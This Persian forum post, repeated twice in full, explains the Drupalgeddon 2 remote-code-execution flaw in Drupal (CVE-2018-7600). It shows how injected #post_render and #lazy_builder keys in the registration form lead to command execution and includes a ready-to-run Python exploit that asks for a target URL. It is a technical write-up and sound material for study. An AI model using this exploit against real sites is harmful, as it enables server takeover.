T.Toosi
April 28th, 2018, 16:46
http://uupload.ir/files/obbj_dbjsgr0umaewcb6.jpg
باسلام، حدود یک ماه پیش تیم امنیتی دروپال برای یک آسیب پذیری بسیار بحرانی (CVE-2018-7600) که با نام Drupalgeddon 2 شناخته می شود آپدیتی ارائه کرده است، این آسیب پذیری به مهاجم اجازه اجرای کد های خود به صورت ریموت را می دهد. زمانی از انتشار آپدیت جدید دروپال نگذشته است که آسیب پذیری بحرانی جدیدی (CVE-2018-7602) کشف شده است، که دقیقا همان ضعف CVE-2018-7600 است همچنین در دو مرحله این آسیب پذیری پچ شده است (پس از ایجاد ***** در کارکتر کلید ها (#) مهاجمان موفق به Bypass آن شده اند). بیش از یک میلیون وب سایت تحت تاثیر این آسیب پذیری قرار گرفته اند و مهاجمان بیشتر اقدام به ماینینگ Cryptocurrency بروی وب سایت ها می کردند.
در آسیب پذیری CVE-2018-7602 که با نام Drupalgeddon 3 شناخته می شود، مهاجم با ست کردن یک پارامتر با نام Destination جهت استفاده از Callback های دروپال و ارسال یک درخواست Node Delete (پست، تاپیک و ..) می تواند Payload خود را بارگذاری کند، در ادامه مطلب سعی میکنم به صورت ساده متد و کلاس هایی که دارای ضعف می باشد را بررسی کنیم همچنین نیاز است به ساختار و معماری دروپال کاملا مسلط باشید.
دروپال در API خود برای Render کردن از Renderable Array ها استفاده می کند، در صورتی که ما بتوانیم مقدار Renderable Array ها را تغییر دهیم می توانیم کد های خود را در مرحله Rendering Process اجرا کنیم. از فرم عضویت دروپال برای حمله استفاده می کنیم به دلیل اینکه فیلد ایمیل سمت سرور Sanitize نمی شود! و می توانیم Payload خود را در قالب آرایه در این فیلد تزریق کنیم همچنین فیلد Picture از AJAX API استفاده می کند که ما را به متد uploadAjaxCallback هدایت خواهد کرد.
در صورتی که با ساختار Renderable Array ها در دروپال آشنایی ندارید، ابتدا لازم است به منابع موجود مراجعه کرده و با آن آشنا شوید.
\core\modules\file\src\Element\ManagedFile.php
http://uupload.ir/files/76qo_1.png
http://uupload.ir/files/8h3x_2.png
در ساختار Renderable Array دروپال، هر Key با کارکتر # شروع خواهد شد. با ست کردن element_parents در درخواست، مقدار این پارامتر پس از Explode در قالب آرایه به متد getValue ارسال خواهد شد (لاین 179) و به دروپال می فهمانیم Key ما در دیتای Post وجود دارد که باعث می شود در متد RenderRoot کلید ارسالی در صورت وجود در دروپال اجرا شود، به عکس زیر دقت کنید :
http://uupload.ir/files/kk6o_3.png
Render در حالت عادی باید آرایه ای به صورت زیر باشد : (لاین 193)
http://uupload.ir/files/hynu_4.png
و اما پاسخ دریافتی ما :
http://uupload.ir/files/lf4s_5.png
حالا از یک کلید Callback دروپال استفاده کنیم تا کد های خودمان را تزریق کنیم،کلید Callback ها موجود و قابل استفاده :
#access_callback, #pre_render, #lazy_builder and #post_render
از کلید #lazy_builder استفاده خواهیم کرد، اگر به سورس رجوع کنیم نیاز به یک Callable و Args داریم، پس در دیتای پست یک [#laze_builder][0][0] که متد assert از lazy فراخوانی میکند و یک [#laze_builder][0][1] که حاوی کد های مخرب و .. است را قرار دهیدم.
http://uupload.ir/files/9p3s_6.png
درخواست و پاسخ ما به شکل زیر خواهد شد :
http://uupload.ir/files/dcfq_7.png
اکسپلویت آسیب پذیری CVE-2018-7600 برای پایتون. در این اکسپلویت از کلید post_render استفاده کردیم که می توانید با این متد و حمله هم آشنا شوید :
import sys
import requests
target = input('Enter target url (example: https://domain.ltd/): ')
proxies = {}
verify = True
url = target + 'user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax'
payload = {'form_id': 'user_register_form', '_drupal_ajax': '1', 'mail[#post_render][]': 'exec', 'mail[#type]': 'markup', 'mail[#markup]': 'echo ";-)" | tee hello.txt'}
r = requests.post(url, proxies=proxies, data=payload, verify=verify)
check = requests.get(target + 'hello.txt', verify=verify)
if check.status_code != 200:
sys.exit("Not exploitable")
print ('\nCheck: '+target+'hello.txt')
در پست بعدی در صورتی که وقت آزاد دیگری باشد آسیب پذیری CVE-2018-7602 را بررسی خواهیم کرد اما ابتدا لازم بود با طریقه حمله Drupalgeddon 2 آشنا شویم به دلیل آنکه در Drupalgeddon 3 باز هم ضعف در Renderable Array فرم ها می باشد!
باسلام، حدود یک ماه پیش تیم امنیتی دروپال برای یک آسیب پذیری بسیار بحرانی (CVE-2018-7600) که با نام Drupalgeddon 2 شناخته می شود آپدیتی ارائه کرده است، این آسیب پذیری به مهاجم اجازه اجرای کد های خود به صورت ریموت را می دهد. زمانی از انتشار آپدیت جدید دروپال نگذشته است که آسیب پذیری بحرانی جدیدی (CVE-2018-7602) کشف شده است، که دقیقا همان ضعف CVE-2018-7600 است همچنین در دو مرحله این آسیب پذیری پچ شده است (پس از ایجاد ***** در کارکتر کلید ها (#) مهاجمان موفق به Bypass آن شده اند). بیش از یک میلیون وب سایت تحت تاثیر این آسیب پذیری قرار گرفته اند و مهاجمان بیشتر اقدام به ماینینگ Cryptocurrency بروی وب سایت ها می کردند.
در آسیب پذیری CVE-2018-7602 که با نام Drupalgeddon 3 شناخته می شود، مهاجم با ست کردن یک پارامتر با نام Destination جهت استفاده از Callback های دروپال و ارسال یک درخواست Node Delete (پست، تاپیک و ..) می تواند Payload خود را بارگذاری کند، در ادامه مطلب سعی میکنم به صورت ساده متد و کلاس هایی که دارای ضعف می باشد را بررسی کنیم همچنین نیاز است به ساختار و معماری دروپال کاملا مسلط باشید.
دروپال در API خود برای Render کردن از Renderable Array ها استفاده می کند، در صورتی که ما بتوانیم مقدار Renderable Array ها را تغییر دهیم می توانیم کد های خود را در مرحله Rendering Process اجرا کنیم. از فرم عضویت دروپال برای حمله استفاده می کنیم به دلیل اینکه فیلد ایمیل سمت سرور Sanitize نمی شود! و می توانیم Payload خود را در قالب آرایه در این فیلد تزریق کنیم همچنین فیلد Picture از AJAX API استفاده می کند که ما را به متد uploadAjaxCallback هدایت خواهد کرد.
در صورتی که با ساختار Renderable Array ها در دروپال آشنایی ندارید، ابتدا لازم است به منابع موجود مراجعه کرده و با آن آشنا شوید.
\core\modules\file\src\Element\ManagedFile.php
http://uupload.ir/files/76qo_1.png
http://uupload.ir/files/8h3x_2.png
در ساختار Renderable Array دروپال، هر Key با کارکتر # شروع خواهد شد. با ست کردن element_parents در درخواست، مقدار این پارامتر پس از Explode در قالب آرایه به متد getValue ارسال خواهد شد (لاین 179) و به دروپال می فهمانیم Key ما در دیتای Post وجود دارد که باعث می شود در متد RenderRoot کلید ارسالی در صورت وجود در دروپال اجرا شود، به عکس زیر دقت کنید :
http://uupload.ir/files/kk6o_3.png
Render در حالت عادی باید آرایه ای به صورت زیر باشد : (لاین 193)
http://uupload.ir/files/hynu_4.png
و اما پاسخ دریافتی ما :
http://uupload.ir/files/lf4s_5.png
حالا از یک کلید Callback دروپال استفاده کنیم تا کد های خودمان را تزریق کنیم،کلید Callback ها موجود و قابل استفاده :
#access_callback, #pre_render, #lazy_builder and #post_render
از کلید #lazy_builder استفاده خواهیم کرد، اگر به سورس رجوع کنیم نیاز به یک Callable و Args داریم، پس در دیتای پست یک [#laze_builder][0][0] که متد assert از lazy فراخوانی میکند و یک [#laze_builder][0][1] که حاوی کد های مخرب و .. است را قرار دهیدم.
http://uupload.ir/files/9p3s_6.png
درخواست و پاسخ ما به شکل زیر خواهد شد :
http://uupload.ir/files/dcfq_7.png
اکسپلویت آسیب پذیری CVE-2018-7600 برای پایتون. در این اکسپلویت از کلید post_render استفاده کردیم که می توانید با این متد و حمله هم آشنا شوید :
import sys
import requests
target = input('Enter target url (example: https://domain.ltd/): ')
proxies = {}
verify = True
url = target + 'user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax'
payload = {'form_id': 'user_register_form', '_drupal_ajax': '1', 'mail[#post_render][]': 'exec', 'mail[#type]': 'markup', 'mail[#markup]': 'echo ";-)" | tee hello.txt'}
r = requests.post(url, proxies=proxies, data=payload, verify=verify)
check = requests.get(target + 'hello.txt', verify=verify)
if check.status_code != 200:
sys.exit("Not exploitable")
print ('\nCheck: '+target+'hello.txt')
در پست بعدی در صورتی که وقت آزاد دیگری باشد آسیب پذیری CVE-2018-7602 را بررسی خواهیم کرد اما ابتدا لازم بود با طریقه حمله Drupalgeddon 2 آشنا شویم به دلیل آنکه در Drupalgeddon 3 باز هم ضعف در Renderable Array فرم ها می باشد!